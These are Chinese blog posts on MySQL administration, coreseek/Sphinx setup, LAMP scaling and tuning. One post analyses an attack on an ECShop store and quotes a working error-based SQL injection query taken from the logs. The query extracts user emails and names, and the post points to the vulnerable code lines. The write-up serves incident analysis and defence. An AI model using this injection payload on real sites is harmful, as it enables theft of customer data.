共享表空间方式

由于是默认的方式，就暂且理解为Mysql官方推荐的方式。相对而言所有的数据都在一个（或几个）文件中，比较利于管理，而且在操作的时候只需要open这一个（或几个）文件即可，相对来说代价很低。

但问题是在数据达到以G为单位来计算的时候优劣逆转。一个大小惊人的文件很不利于管理，而且对于一个如此巨大的文件来说，读写它需要耗费的资源一样巨大。更加令人费解的是，MySQL竟然将索引和数据保存于同一个文件中，索引和数据之间尚存在资源争用，不利于性能的提升。你当然可以通过innodb_data_file_path的配置规划多个表空间文件，但MySQL的逻辑是“用满后增加”，仅仅是一个文件的拆分而已，不能从根本上分离数据和索引。

之前曾经遭遇到700G以上的表空间文件，而且更加让人郁闷的是对于如此大的文件还在以每天数G的数量增加。由于无法停机，即便是拷贝一下也要花费差不多一夜，只能眼睁睁看着它继续增大而毫无保守可行的办法。

独立表空间方式

相对而言对立表空间每个表都有独立的多个数据文件，而且做到了索引和数据的分离。多个小文件之间很方便的完成跨数据库甚至跨硬件的数据拷贝和迁移。相对来说灵活性很好。

这样做同样带来另一个方面的问题。当数据库中的表数量达到一定级别时，每次操作所涉及的文件过多，如果按照默认Centos的ulimit -n = 1024的话，仅仅只能保证同时打开256个表以内，这在习惯上“拆库拆表”的MySQL数据结构上很难达到要求。尚且这种数据文件的利用率不算很高，当大量“不高”的文件集中起来，浪费的空间也很惊人，更何况最后可能出现的状况不是“一堆K级别的小文件”而是“一堆G级别的大文件”，有点适得其反的意思。你自然可以联想到分区表，又是一个“仅仅做文件拆分而已”，多个分区文件缺一不可。

之前同样遇到过这个问题，MySQL连接大的状况下大量的timeout，但主机负载还算可以，查了一圈才知道是open files限制的问题，限制一修改，负载变得惊人，但连接数却又提升的不多。

总之，两种方法各有所长，部分互补，但都不是解决问题的终极方案。期待MySQL能够出现真正意义上表空间的概念，更加自由的规划数据文件。

既然仅仅只是当作一个容器，从性能上考虑那为什么要用MySQL呢？

最近在研究一些NoSQL的东西，memcache类这类的纯Key-value；redis这类key-list；以及更加接近于关系型的MongoDB。这类的数据容器相较MySQL这类SQL数据库而言，更多的都是在性能上做大幅提升。从搜索能力上讲，MySQL的搜索能力又远不及Sphinx或者Solr这类单纯的索引服务器。如果说关系型数据库的优势在于一致性。那事物操作本身也不是MySQL所擅长的，“拆库拆表”的设计理念更是打破了一致性的优势。MySQL剩下的优势恐怕只剩下了“便于维护”这一条了吧。

mysql mongodb 写入对比

mysql mongodb 查询对比

mysql mongodb 资源对比

相比MySQL这些年做的改进，几乎都是在完善事物处理这类高级的SQL逻辑。之前人们选择MySQL的原因，其实很少是由于MySQL的事务处理，而是性能方面的优势。当MySQL不再将性能的提升作为首要任务时，加上近一段时间风声水起的SNS热潮，MySQL的王者地位已经逐渐被NoSQL数据库挑战——甚至出现了完全排除MySQL的SNS框架。

据说MySQL5.6中启用了对于Memcache的支持，看来连MySQL自己也顿悟了……

首先，下载安装包，我选择的是最新的stable版， 不过不客气的说，即便是coreseek的stable版本，不论是从稳定性、兼容性还是灵活性上都不能算是完善，至少无法跟apache这类经典应用相提并论。

安装ubuntu开发包：
apt-get install make gcc g++ automake libtool mysql-client libmysqlclient15-dev libxml2-dev libexpat1-dev

 
解压：
tar xzvf coreseek-3.2.14.tar.gz
cd coreseek-3.2.14

应该看到有mmseg csft testpack 至少3个目录

安装mmseg中文分词模块

cd mmseg-3.2.14
./bootstrap
./configure –prefix=/usr/local/mmseg3 #不喜欢这个官方目录配置，更换目录后配置无法生效郁闷了很久，稍后再说
make
make install
cd ../testpack
/usr/local/mmseg3/bin/mmseg -d /usr/local/mmseg3/etc var/test/test.xml #测试结果，请确保终端可以看到utf8中文，应该可以看到分词后的结果

安装Python包

虽然coreseek支持直接的mysql连接，但考虑到分词、分表的情况，这种设置不是很灵活。我的方案是通过python脚本的预处理，将mysql的数据整理后传输到coreseek建立索引。这样还有一个优势就是“万能数据源”——memcache、redis这类几乎不指望coreseek官方支持的妖异存储方案，只要有python的api，均可以索引。

官方的安装手册中介绍的python接口是基于ActivePython 替代系统python语言的方式进行的。ActivePython属于第三方封包，远没有系统自带python来的方便，刚开始用系统python测试了数次，均不成功，后来根据出错信息，找到了原因。

apt-get install python-dev python-sqlite python-mysqldb python-memcache

安装coreseek

cd ../csft-3.2.14
./buildconf.sh
./configure –prefix=/usr/local/coreseek –without-unixodbc –with-mmseg –with-mmseg-includes=/usr/local/mmseg3/include/mmseg/ –with-mmseg-libs=/usr/local/mmseg3/lib/ –with-mysql –with-python
make
make install

cd ../testpack
/usr/local/coreseek/bin/indexer -c etc/csft.conf –all
/usr/local/coreseek/bin/search -c etc/csft.conf 网络搜索 #没什么问题了

安装libsphinxclient

coreseek官方教程中建议php使用直接include一个php文件进行操作，事实上php有独立的sphinx模块可以直接操作coreseek (coreseek就是sphinx！)已经进入了php的官方函数库，而且效率的提升不是一点点！但php模块依赖于libsphinxclient包。

cd ../csft-3.2.14/api/libsphinxclient
./configure
make
make install
ldconfig

安装php-sphinx支持

apt-get install php5-dev
wget http://pecl.php.net/get/sphinx-1.1.0.tgz
tar vzxf  sphinx-1.1.0.tgz
cd  sphinx-1.1.0
phpize
./configure
make
make install

确信成功后修改php.ini，还是遵从ubuntu的配置规则
echo “extension=sphinx.so”  > /etc/php5/conf.d/sphinx.ini

如果使用apache或者fast-cgi的话，请重起。察看phpinfo() 如下则安装成功。

sphinx

配置coreseek

说容易也容易，说麻烦也麻烦的工作，照贴一份吧前面说过，我用的是python数据源

/usr/local/coreseek/etc/coreseek.conf

python
{
           path = /usr/local/coreseek/DBSource #python 数据源脚本的存放路径
}
source Blog #索引库1 “Blog”
{
          type = python #类型为python
          name = Blog.MainSource #调用python的class
}
index Blog
{
    source          = Blog #数据源名称
    path            = /data/sphinx/Blog #数据文件存放路径
    docinfo         = extern
    mlock           = 0
    morphology      = none
    min_word_len    = 1
    html_strip      = 0
   charset_dictpath = /usr/local/mmseg3/etc/ #mmseg中文分词库的位置，本文开头时我说不能修改mmseg的安装路径就错在这里
   charset_type        = zh_cn.utf-8
}
source UserInfo #索引库2 “UserInfo” 其余同上
{
    type = python
    name = UserInfo.MainSource
}
index UserInfo
{
     source          = UserInfo
     path            = /data/sphinx/UserInfo
     docinfo         = extern
     mlock           = 0
    morphology      = none
    min_word_len    = 1
    html_strip      = 0
    charset_dictpath = /usr/local/mmseg3/etc/
    charset_type        = zh_cn.utf-8
}

searchd #服务器配置
{
    listen          =   9312  #显而易见，默认的监听端口
    listen          =   172.18.196.90:3306:mysql41 #兼容mysql方式的监听，我们配置了php-sphinx，故除了命令行方式外意义不大，可以关闭
    pid_file        =   /var/run/coreseek.pid
}

SELECT pg.package_id, pg.goods_id, pg.goods_number,
        pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
        IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
        LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
        LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
        select 1,2,3,4,5,6,7,8,count(*),concat(
                (Select concat(0x5b,email,0x3a,user_name,0x5d)
                        FROM ecs_users
                        LIMIT 9456,1), floor(rand(0)*2))x
         from information_schema.tables
         group by x
ORDER BY pg.package_id, pg.goods_id;

不知看懂没有，反正这句SQL是解释不通的。由于网站跑在ECshop2.7.2的环境之上，问题肯定来自代码缺陷。之前似乎有发过ECShop的牢骚，作为一个商业软件，而且是做交易平台的商业软件，竟然如此不专业种种的操作。特地浏览了一下代码，发觉代码里面的更加经典！几乎没有对任何变量进行校验和过滤！

由于程序不是我开发的，无法追溯源。只能根据日志进行反查，找到了根基

1. flow.php中2157行中json来源可由客户端定义，导致2182行$package->package_id不可控。
2. include/lib_order.php中对include/lib_common.php 的function get_package_info($id)可以植入SQL
3. 畸形SQL导致Mysql返回空信息
4. 攻击者获得无限量优惠包，仅此而已。

无话可说！引以为戒吧！

时隔了5年多，不妨回头重新从新的高度上说说LAMP结构的网站如何支撑尽可能大的负载。同样说明，本文代表站长Litrin的个人意见，欢迎共同探讨，但喷子慎入。

首先声明的是，以下一堆相对无趣的文字仅针对一系列负载到了至少10W pv以上级别，对于较小规模的网站大可不必遵守，还是提倡成本优先的原则，到了对应的PV级别想必也会有足够的财力和物力去改版了。

初期规划

这里主要还是指设计模型等前期工作。MVC的设计结构深入人心，不得不承认确实大多架构设计师首选的设计结构必是MVC。事实上，在一个网站上最容易获取，最不缺的资源是CPU和内存，最大的瓶颈都是出现在IO。

作为LAMP架构最大的问题就是MVC的代价太大，层层的封包意味着重复判断；打开大量的程序文件只会严重拖累性能。网上很多免费的、开源的PHP框架，用过的几个诸如ThinkPHP, ZF等应付中小型网站绝对没有问题，但都不适合大负载的网站。甚至包括Smarty这样单纯的模版引擎，大量的IO操作会拖累整体性能。如果不考虑其他因素，我甚至都考虑过All in 1的垃圾结构——这当然不现实。但恰恰是这种all in 1却正是大负载最适合的结构。奇怪的悖论。

受GAE的影响，曾经想过API+XML的方式实现网站架构，但后来打消了这个念头。XML本身的结构冗余度很多，这也就意味着信息承载率低。在内部几台服务器之间的通讯状况想必都没有必要搞XML，如果要搞类似的模式，CSV方式反倒是不错的选择。XML是为了开放给第三方用户的。

数据库设计

读写分离这个是众所周知的秘密了。Mysql 的Master + Slaver的设计真的很方便！最多就是多搞几重的读写分离。

拆表、拆库、分机器，大表做纵拆，宽表做横拆，不关联的分机器；纵拆是为了省时间，横拆是为了省内存，分机器是为了分负载。Mysql在几百万行数据级别以下性能是很不错的，超过这个数量级，就算机器再强悍都会死的很难看，mysql垃圾的锁表机制会展现无疑。没有人愿等到30秒以上的Respone，何况我曾经遭遇一个45分钟以上的Select操作（一重操作，没有用到Like，使用索引）。曾经用过mysql 的分区表，感觉这种方法更像是在打补丁——改变数据库结构去适应程序，很奇怪的流程，更何况即便逃过这次不拆，迟早有一天还会回来拆的。

索引，该有的全都有，但对于写操作频繁的表，索引反倒成了累赘，不要让索引数占到字段数的30%以上这是约定俗成的标准吧。

memcache，没什么可以多说的，这玩意基本上就是铺硬件换时间的。

说道非关系型数据库，好像近期很热门。怎么说呢？越是复杂的网站越是能体现出它的优势，但问题是大多数网站都不会像twitter或者Facebook这么复杂，况且大多数程序员的逻辑还是SQL模式，贸进很可能搞砸。

WWW服务器拓扑设计

F5这类的设备是必须的，之前曾经觉得LVS可以替代F5这样的设备。用过之后才发现，这等于是将整个网站的身价性命都扔到了一台服务器上，一旦宕机或者被侵入呢？

对于Apache还是nginx的争论持续了很久。nginx很快速，可以将单独的PHP负载分离出去，但没有apache来的灵活。要根据需求再做评价。

异步操作和缓存机制

这个貌似也没有什么花头，调整好负载之后可以将一部分操作异步到数据库相对空闲的时段进行，达到移峰填谷的效果。配合memcache或者其他的缓存机制本身也是动转静的手段之一。

自动和手动的问题

属于代码级别了吧。良好的编程规范对系统的优化是很显著的。漫山遍野的select *， 大量的变量不清空是高负载系统的忌讳。纵然php的内存处理机制再出色，它永远也不会理解你设置的变量什么时候失效，减少这看似寥寥无几的空间乘上惊人的pv数也是很可观的。

首先，解决那个Mysql的问题：

#sudo nano /etc/apparmor.d/usr.sbin.mysqld ＃好吧，我承认，我sudo出了习惯

发现了有两行配置：

/home/mysql/ r,
/home/mysql/** rwk,

修改掉

/data/mysql/ r,
/data/mysql/** rwk,

重启AppArmor

/etc/init.d/apparmor reload

重启Mysql，一切OK!
当然你可以直接关闭apparmor服务避免类似的问题，但从安全角度考虑，我不建议这么做，毕竟修改两行参数的事，不复杂。

事实上，这个应用是Novell主导的，想必Suse上也有同样的设置。在/etc/apparmor.d目录下的增减文件可以在Linux文件系统权限之外基于程序对文件系统的访问操作进行限制。如果你想要限制一个/a/b的文件，对应的配置文件就是/etc/apparmor.d/a.b。内容应该很好理解了。

感觉上相比Selinux而言AppArmor简单一点，不知安全程度如何。但就我个人而言，我更加信任相对复杂的SeLinux。

ps:

之前我还碰到过ssh上去不能读写移动硬盘的问题，估计也于此有关。

作为网站运行来说，日志分析是一个很重要的工作。当一个网站的日志到了一定程度，或者一个网站同时有多台服务器的时候，传统的文本日志分析总会遇到瓶颈。

这个时候我就会想起强大的sql语句。看了网上很多人的帖子，都是将日志转成sql语句再导入的，搞得有点复杂。本方案不需要任何多余的软件和操作，一切全是实时、自动，供各位参考。

主机至少需要预安装apache(废话！)和mysql的客户端。如果访问量不大且服务器的资源管够的话可以将mysql装在本地，否则建议一台独立的mysql服务器。

在apache配置文件或者虚拟主机配置文件中面添加

LogFormat INSERT INTO apacheLog (ID, dateTime, IP, URL, code, referer, userAgent, size, request) VALUES ( NULL , \"%{%Y-%m-%d %H:%M:%S}t\", \"%a\", \"%U\", \"%>s\", \" %{Referer}i\", \"%{User-Agent}i\", %b, %T);" sqlcomm
CustomLog "| /usr/local/Mysql --host=HOST --user=USER --password=PASSWORD --database=LITRIN_NET" sqlcomm

建立数据库apacheLog。

CREATE TABLE ` apacheLog ` (
  `ID` int(11) NOT NULL auto_increment,
  `dateTime` datetime NOT NULL,
  `IP` varchar(15) NOT NULL,
  `URL` varchar(256) NOT NULL,
  `code` varchar(3) NOT NULL,
  `referer` varchar(256) NOT NULL,
  `userAgent` varchar(256) NOT NULL,
  `size` int(11) NOT NULL,
  `request` float NOT NULL,
  PRIMARY KEY  (`ID`),
  KEY `dateTime` (`dateTime`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
SET character_set_client = @saved_cs_client;

 确认无误后重启apache生效！

其实整个流程很简单：先是利用LogFormat设置将日志转换为接近sql的格式，再通过CustomLog 调用pipe实现mysql写入。你也可以参照http://httpd.apache.org/docs/2.2/mod/mod_log_config.html#formats的格式设置写入自己关心的数据。
此外，你也可以使用SetEnvIf配合正则表达式过滤掉诸如图片、CSS、JS之类相对不重要的信息。

上回说到IBM的收购案，被IBM收购可以看作对SUN的一种讽刺甚至于侮辱。在一次次的谈判无果之后，忽然间传出了这么一条冷门消息。MS说明与IBM谈判是假，Oracle是真啊。

Oracle收购Sun之后，Java的悖论总算不会发生了，Oracle一直梦想的“进军操作系统”也得以实现。Sun呢？有了Oracle作为摇钱树，系统整合中又多了数据库这一块的业务。看来，我们又一次见证了另外一个IBM的诞生。

整合以后的Mysql如何？mysql作为独立的一部分业务，本身就有oracle的股份存在。同时,mysql和oracle也不存在市场竞争（最终用户是不同的） 对于此次收购本人认为对于mysql的影响不大。即便Oracle不需要Mysql，Mysql最有可能也不过就是交由社区维护，无非由一个.com变成了.org而已。

IBM在短短的一周内从玩了Sun，直到被Oracle玩；从差点消灭了一个对手，到培养起来了一个更可怕的对手。其中滋味，只有他们自己清楚。到底是风水轮流转啊。

总之，祝今后的新Oracle一路走好！

在此之前，如果对mysql的命令和配置不很熟的情况下，phpmysql是必要的。

首先，到状态选项栏，拉一个系统状态表下来，或者执行mysqladmin variables extended-status –u root –p  ，同时计算下系统的uptime.

配置文件一般保存在/etc/my.cnf中，直接修改其中的内容即可。

此外，我的设置中还有如下内容：

skip-networking #不使用网络连接
skip-innodb #不使用innodb引擎

thread_concurrency = 4 #这个数值等于cpu核心数x2

key_buffer_size参数的设置:索引缓冲池大小，决定了处理索引的速度。官方文档说最多这将会有238%的性能提升。什么，你的表不加索引？来人啊，把他拖到这个页面。

1. 算法一：把系统中所有在用的表的索引加起来，个人习惯取一个最接近此数的2的n次方。如32M，64M，128M……
2. 算法二：设置到Key_reads  ：Key_read_requests 至少应该1：500以上，越大越好，例如我的：
   [root@www ~]# mysqladmin variables extended-status -u admin -p  |grep Key_re
   Enter password:
   | Key_read_requests        | 7335599   |
   | Key_reads                          | 9137      |

两种方式随个人喜好啦，个人习惯用后面的方式进行配置。

query_cache_size：返回结果缓存，数据库会将返回值缓冲，当然会快，如果想要强制关闭该功能，可以在sql中加入SQL_NO_CACHE。

[root@www ~]# mysqladmin variables extended-status -u admin -p  |grep Qcache
Enter password:
| Qcache_free_blocks       | 115       |
| Qcache_free_memory       | 27422464  | #剩余的缓冲空间
| Qcache_hits              | 15257     |
| Qcache_inserts           | 11492     |
| Qcache_lowmem_prunes     | 0         | #出现缓存过低的此数
| Qcache_not_cached        | 29        |
| Qcache_queries_in_cache  | 1115      | #缓存的结果数
| Qcache_total_blocks      | 2441      |
| Questions                | 43849     |

次数值大致算法：最大返回大小x每5分钟查询次数。

原则上，如果内存足够的情况下，可以尽量调大此数值。个人认为  uptime 秒数/Qcache_lowmem_prunes  应该小于300。这意味着至少不是每5分钟系统就报一次缓存过低。

要注意的是配置了此参数的时候，请同时设置 query_cache_type= 1

table_cache：表缓冲数量。

mysqladmin variables extended-status -u admin -p  |grep Open
Enter password:
| Open_files               | 191       |
| Open_streams             | 0         |
| Open_tables              | 132       | #打开的表
| Opened_tables            | 138       | #已经打开的表

我这边设置的table_cache为512，uptime为2小时，暂时看不出有什么问题，如果系统一开没多久Open_tables就已经等于设置的table_cache的时候，请将此数值再调大。

关于索引：刚才被拖走的兄弟可以回来了^_^
很多人最初接触索引的时候，以为索引越多越快。其实不然，过多的索引往往会拖慢系统，按照惯例索引字段最多只占字段总数的40%。多则无益。

索引字段的类型，尽量选择numeric下属的类型或者date time下属的类型，如果非要用string，可以尝试使用char来取代varchar，很多情况下不影响使用，但性能提升一个档次。

关于内存

经过上面的折腾，内存耗用量应该大有提升。很多人觉得内存占用高了性能会下降——这似乎是windows桌面的问题。要知道，作为一个数据库服务器而言，痛苦的不是内存用完了；而是内存用不掉，IO用光了。 能把内存用的光光但swap基本不动，这才是高明的系统管理员。

正常负载下，mysql的内存耗用要保证大于空闲内存。

sql语句的问题

尽管这不属于系统管理员的工作内容，但要知道，一个到处是select * 语句的程序是绝对会影响系统性能的。

那篇E-mail不长，在我的电脑上显示下来仅仅只有三行不到的样子，大抵的内容无非是说本站如何如何的帮了忙，我不免沾沾自喜起来——正如往常的沾沾自喜一样，mail的结尾处指出了小站的几个问题，最重要的是说很多文章过于流程化了，没有一点文字上的修饰和润色，言外之意是字里行间缺乏应有的优雅和细致。要指明的是，所谓优雅和细致，正是目前白领文学或者说白领文化所擅长的。说到白领文化的代表，我想村上春树的小说（或者说林少华翻译的日本小说）、伍佰的歌词、汪家卫的台词、小女人的blog绝对可以作为代表。作为我，从来没有当作自己是白领的一员——乏味的代码、吵闹的机房、灰尘遍布的机架，也许能跟这些词句联系上的只有“体力劳动”一个词了。我固然写不出优雅和细致，字里行间唯独只有王朔依稀的身影。于是我决定做一个尝试，既然有这样的需求，按照目前常说的一句话似乎叫做“需求第一”吧，我决定润色并重写本站访问量最高的那篇文章……

以上，正如以往话剧前面总有一个人上来讲述故事背景一样，是本文的开场白，别急，正剧马上就要开始了，当然希望您读的时候也要用优雅而细致的语调默默的朗读。

那时大概在前年的下班年，我一个正处在技术大崩溃边缘的技术人员，为了给自己制作一个技术性的网站（正如您现在看到的那样，就是本站了），要用FreeBSD平台的操作系统build一个万维网系统。

在此之前，看了网上很多安装apache php以及mysql的文章，唯独可惜是，其中大多都是用在林纳克斯的OS中的，不知为何，大多是用源代码编译的步骤教程，而其余的，Rpm（redhat programs manager )又占去了绝大部分。几乎寻觅不到FreeBSD平台下有关于Ports安装的一点讯息。于是我决定写一篇这样的东西，以免让大家舍近求远。

需要在所有的工作开始之前confirm的是，将您的主机连接到互联网之上且网路配置吻合，虽然这是句笑话，但似乎很多人都在这里遇到了坎坷。

连接好控制台，轻击键盘，键入命令：
cvsup -h cvsup.freebsd.org /usr/share/example/cvsup/ports-supfile
这条命令的大体意思是从互联网上同步一下ports，以防止后续的工作中出现不必要的麻烦。

接下来的步骤就是要安装database了，Mysql纵然在严酷而恶劣下的环境还可以迅即的完成数据检索，为此Mysql成了我的首选。我的手指轻轻滑过键盘，屏幕出现了：
cd /usr/ports/databases/mysql50-server/
make install clean ;rehash
不知过了多久，在我回忆了我虚度的童年时光之后——也许吧，可能时光流逝的还要慢一点，总之，一阵漫长的时光度过之后，Mysql已经成为了电脑中的一分子。接下来呢？配置mysql吧：cp /usr/local/share/mysql/my-small.cnf /etc/my.cnf
可见我电脑中资源少的可怜，我仅仅只有权力使用小内存模式启动mysql，如果条件允许您这样做的话，您可以尝试 my-big.cnf 甚至于 my-huge.cnf
mysql_install_db -u mysql ; mysqld_safe -u mysql &
看看mysql是否已经能够start

开发环境原本是mysql5.1，可实际部署的时候才发现服务器端的环境是mysql4.0。可mysqldump出来的数据无法直接倒入4.0，直接拷贝出来的数据，mysql4.0根本无法识别。

研究了一下mysqldump的文档，找到了一个选项“–compatible=name” 问题迎刃而解。而且这个选项竟然支持在多个环境中的平移。 选项支持mysql323, mysql40, postgresql, oracle, mssql, db2, maxdb,格式的SQL语句。

功能列表：

注：

[1]支持特殊的数据类型，但不可作为索引
[2] 通过编程在服务器执行，效果远胜于在存储引擎中执行
[3] 在服务器内执行，远胜过在存储引擎中执行
[4] EB = 1024 * 1024TB

其中最常用的非MyISAM莫数。也是mysql下功夫最多的一个引擎了，几乎所有的参数都可以调节。速度超快，适合存储网页数据。类似的还有一个ISAM引擎，但就我看来，它不过是MyISAM的前身为了保证兼容性保留下来的。

Memory首次接触是将php的seesion保存在数据库中，Memory顾名思义，将所有数据保存在内存中，访问速度有所提高，当然关机后数据消失。感觉这个引擎更加体现了mysql的“裸奔原则”，为了速度，能丢弃的全部丢弃。

InnoDB因为有了事务处理和外键支持，很适合做企业数据库。但说老实话，他的速度实在叫人提不起兴趣。支持COMMIT, ROLLBACK, 和 savepoints.

BDB，很接近于InnoDB，支持RCOMMIT 和 ROLLBACK 操作。

一个数据库中每个表都可以用不同的引擎，你可以使用“CREATE TABLE engineTest (id INT) ENGINE = MyISAM;” 的方式来创建一个表，同时也可以使用“ALTER TABLE engineTest ENGINE = ARCHIVE;”的方式改变一个表的属性。

　　#mysqldump –-database mydb –user=username –password=password > mydb.sql
　　
　　这个语句也允许您指定一个表进行dump(备份/导出/装载?)。如果您只是希望把数据库db中的表table中的整个内容导出到一个文件，可以使用下面的命令：

　　#mysqldump –database db table >db_table.sql
　　
　　这个非常的灵活，您甚至可以使用WHERE从句来选择您需要的记录导出到文件中。看过mysql官方手册中就介绍了这样一个实现mysql增量备份的例子：
      
        #mysqldump –where=“ last_modified < NOW() – INTERVAL 1 MONTH”  >backup.sql
　　　　
　　mysqldump工具有大量的选项，部分选项如下表：

　　选项/Option 作用/Action Performed

　　–add-drop-table

　　这个选项将会在每一个表的前面加上DROP TABLE IF EXISTS语句，这样可以保证导回MySQL数据库的时候不会出错，因为每次导回的时候，都会首先检查表是否存在，存在就删除

　　–add-locks

　　这个选项会在INSERT语句中捆上一个LOCK TABLE和UNLOCK TABLE语句。这就防止在这些记录被再次导入数据库时其他用户对表进行的操作
　　
　　-c or – complete_insert

　　这个选项使得mysqldump命令给每一个产生INSERT语句加上列（field）的名字。当把数据导出导另外一个数据库时这个选项很有用。

　　–delayed-insert 在INSERT命令中加入DELAY选项

　　-F or -flush-logs 使用这个选项，在执行导出之前将会刷新MySQL服务器的log.

　　-f or -force 使用这个选项，即使有错误发生，仍然继续导出

　　–full 这个选项把附加信息也加到CREATE TABLE的语句中

　　-l or -lock-tables 使用这个选项，导出表的时候服务器将会给表加锁。

　　-t or -no-create- info

　　这个选项使的mysqldump命令不创建CREATE TABLE语句，这个选项在您只需要数据而不需要DDL（数据库定义语句）时很方便。
　　
　　-d or -no-data 这个选项使的mysqldump命令不创建INSERT语句。

        –opt 此选项将打开所有会提高文件导出速度和创造一个可以更快导入的文件的选项。

　　-q or -quick 这个选项使得MySQL不会把整个导出的内容读入内存再执行导出，而是在读到的时候就写入导文件中。

　 　-T path or -tab = path 这个选项将会创建两个文件，一个文件包含DDL语句或者表创建语句，另一个文件包含数据。DDL文件被命名为table_name.sql,数据文件被命 名为table_name.txt.路径名是存放这两个文件的目录。目录必须已经存在，并且命令的使用者有对文件的特权。
　　
　　-w "WHERE Clause" or -where = "Where clause "

　　如前面所讲的，您可以使用这一选项来过筛选将要放到 导出文件的数据。
　　

PS: 如果你的mysql是运行在*nix平台上的，可以利用其强大的pipe连接一下，输出压缩后的数据：mysqldump -A | bzip2 -9 -f > db_backup.sql.bz2。直接从一个服务器备份到另一服务器：mysqldump –opt database | mysql –host=remote-host -C database  。

应用优化

任何一个数据库他的作用都不是全力运行算术运算的，所以除了必须的工作之外，其他的还是交给外部软件来完成吧。让数据库来执行类似于计算器功能的算术运算或者执行一系列无谓的数据校验可谓是愚蠢至极，过于复杂的函数最好也不要使用，记住数据库的优势在于：

• SELECT和INSERT 指定的行

• JOIN表

• GROUP BY

• ORDER BY

• DISTINCT

 对于一般的简单运算，类似于sum avg之类的操作，出于节省连接时间的考虑还是交给外部软件吧。当然不要查询应用中不需要的列；同时可以试试看UPDATE table set count=count+1 where key，性能可能会有不少提升。如果在一个批处理中进行大量修改，可以使用LOCK TABLES，例如将多个UPDATES或DELETES集中在一起；Insert使用默认值也是一个不错的选择。当然可以多试试EXPLAIN 工具，总会找到一种适合的最优化操作的。

优化数据结构

注意的是，这里说的并不是让你去更改系统的数据结构，特别是在运行中的系统中，这样做是“相当”危险的。

• 明智地使用键码。

• 键码适合搜索，但不适合索引列的插入/更新。

• 不要索引你不想用的东西。

• 虽说有种说法叫做“同样的数据只保存一次”但前提是“在所有的运算只做一次且有用”的前提下，创建足够总结表、简化表是非常有益的。

• 在大表上不做GROUP BY，相反创建大表的总结表/简化表并查询它。

• ANALYSE过程可以帮助你找到表的最优类型：SELECT * FROM table_name PROCEDURE ANALYSE()。

数据库优化

这里一句话也讲不清这么多种数据库的优化，本站有不少相关的东西可供大家参考，并且本站会不断更新和完善，同时也希望大家协助。

磁盘优化

磁盘系统通常是影响数据库第二个重要的因素（第一重要的是内存，但内存的优化相比较复杂）

• 为系统、程序和临时文件配备一个专用磁盘，如果确是进行很多修改工作，将更新日志和事务日志放在专用磁盘上。

• 低寻道时间对数据库磁盘非常重要。对与大表，你可以估计你将需要log(行数)/log(索引块长度/3*2/(键码长度 + 数据指针长度))+1次寻到才能找到一行。对于有500000行的表，索引Mediun int类型的列，需要log(500000) / log(1024/3*2/(3 + 2))+1=4次寻道。上述索引需要500000*7*3/2=5.2M的空间。实际上，大多数块将被缓存，所以大概只需要1-2次寻道。

• 然而对于写入（如上），你将需要4次寻道请求来找到在哪里存放新键码，而且一般要2次寻道来更新索引并写入一行。

• 对于非常大的数据库，你的应用将受到磁盘寻道速度的限制，随着数据量的增加呈N log N数据级递增。

• 将数据库和表分在不同的磁盘上。在MySQL中，你可以为此而使用符号链接。

• RAID 0将提高读和写的吞吐量。

• RAID 0+1将更安全并提高读取的吞吐量，但写入的吞吐量将有所降低。

• 不要对临时文件或可以很容易地重建的数据所在的磁盘使用镜像或RAID(除了RAID 0)。

• 在Linux上，在引导时对磁盘使用命令hdparm -m16 -d1以启用同时读写多个扇区和DMA功能。这可以将响应时间提高5~50%。

• 在Linux上，用async (默认)和noatime挂载磁盘(mount)。

• 对于某些特定应用，可以对某些特定表使用内存磁盘，但通常不需要。

升级硬件

按照数据库对于硬件的依赖程度，内存、硬盘、CPU的顺序来升级硬件，包括操作系统。

• 如果你需要庞大的数据库表(>2G) ，最好采用64位的CPU加64位的操作系统。

• 如果有足够大的内存，关掉Swap分区吧。

• 更多的内存通过将最常用的键码页面存放在内存中可以加速键码的更新 ，但前提是要正确的设置而且配置好这些内存——这正是我前些天碰到的比较讽刺的例子，空有24G的内存只执行了2秒钟的“F5攻击”就死的一塌胡图。

• 如果不使用事务安全(transaction-safe)的表或有大表并且想避免长文件检查，一台UPS就能够在电源故障时让系统安全关闭。

• 如果数据库单独列出来需要网络连接，请选择至少千兆网卡和交换机的连接，如果采用了类似于8139的烂网卡你会抓狂的。
  

其他的类似于定期优化表、修复磁盘、消除碎片等等工作属于一般性的维护操作，这里不加深解。

整体性能有了一定提高，首页的平均载入时间减少了百分之三秒且还有潜力可挖。升级过程中可能部分用户会注册失败，还请重新注册。

设置unixODBC:
#sudo ODBCConfig
开启ODBC的控制面板，与windows的几乎一样的布局。

System DSN->ADD…按钮

继续ADD

这里的Name和Description随便写就可以了,Driver 为 /usr/lib/odbc/libmyodbc.so
Setup 为 /usr/lib/odbc/libodbcmyS.so ，其余的默认就好了。对于其它不是Ubuntu的用户，只要确保安装了MyODBC，不妨直接搜索文件名将路径贴过来就可。结束后“对勾”按钮保存结束。

到了这一步就没有太大难度了，Name随便，Server添数据库服务器的IP地址，Port Mysql的端口，默认3306，Database下拉列表中选择需要连接的数据库。其余空着，对勾。

设置成功！OK结束。

设置OpenOffice Base:

这里选择“连接到现有数据库”下拉列表选择ODBC,我试过选择Mysql不过到头来还是通过了ODBC连接。

如果前面ODBC设置正确，这里会出现数据源列表。

数据库的用户名、密码，同时还有测试按钮。

OK,搞定！

现在就可以利用OpenOffice Base来直接向数据库中导入、导出数据了，对于数据库开发来说，利用图形化的界面搭建数据库是非常惬意的了。

　　安装和编译的步骤并不复杂，但是需要了解为了支持 MySQL 认证，编译时需要的参数，以及配置时采用正确的参数。

编译命令：

$ ./configure –with-expsam=mysql –with-mysql-prefix=/opt/mysql

如果以上命令成功的话，然后就是 make ; make install 了。
然后拷贝一个 examples 下的 smb.conf 到 /usr/local/samba/lib 。
用 /usr/local/samba/sbin/smbd -D 即可启动。
用 smbstatus 命令可以查看 Samba 服务器的状态。

下面配置 MySQL 的支持。 和 MYSQL 相关的配置有以下几行：

[global]

# passdb backend = plugin:/usr/local/samba/lib/pdb/mysql.so:mysql
passdb backend = mysql:mysql
mysql:mysql host = localhost #主机名
mysql:mysql port = nnnn #端口号，默认3306
